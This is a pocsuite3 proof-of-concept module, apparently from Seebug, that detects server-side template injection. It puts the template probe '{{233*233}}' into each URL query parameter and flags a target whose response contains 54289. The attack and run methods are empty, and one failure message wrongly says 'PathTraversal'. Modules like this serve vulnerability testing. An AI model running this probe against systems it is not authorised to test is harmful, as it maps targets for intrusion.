import copy
from urllib import parse
from pocsuite3.api import POCBase, requests, register_poc, VUL_TYPE, POC_CATEGORY, logger, Output


class SSTIInjection(POCBase):
    vulID = '009'
    version = '3'
    author = ['seebug']
    vulDate = '2020-06-10'
    createDate = '2020-06-10'
    updateDate = '2020-06-10'
    references = ['https://www.freebuf.com/vuls/83999.html']
    name = 'SSTI 服务端模板注入'
    appName = 'SSTI'
    appVersion = 'All'
    appPowerLink = ''
    vulType = VUL_TYPE.SSI_INJECTION
    desc = '''
       SSTI模板注入执行了用户插入的恶意内容，因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。
       其影响范围主要取决于模版引擎的复杂性。
    '''
    samples = ['']
    category = POC_CATEGORY.EXPLOITS.REMOTE
    protocol = POC_CATEGORY.PROTOCOL.HTTP

    def _attack(self):
        pass

    def _verify(self):
        result = {}
        payload = '{{233*233}}'
        urls = url_para_spilt(self.url, payload)
        for url in urls:
            response = requests.get(url, headers=self.headers, allow_redirects=False)
            logger.info("url:{},status:{}".format(url, response.status_code))
            if response.status_code == 200 and b'54289' in response.content:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['Info'] = self.name
                result['VerifyInfo']['URL'] = self.url
        return self.parse_verify(result)

    def _run(self):
        pass

    def parse_verify(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('PathTraversal target is not vulnerable')
        return output


# 重复代码，想办法写到框架中去
def url_para_spilt(url, payload):
    ret = []
    u = parse.urlparse(url)
    qs = u.query
    temp_url = url.replace('?' + qs, '')
    qs_dict = dict(parse.parse_qs(qs))
    # exclude={'func','sid','doCheck'}
    for key in qs_dict.keys():
        temp_dict = copy.deepcopy(qs_dict)
        temp_dict[key] = payload
        query = parse.urlencode(temp_dict)
        ret.append(temp_url + "?" + query)

    return ret


register_poc(SSTIInjection)
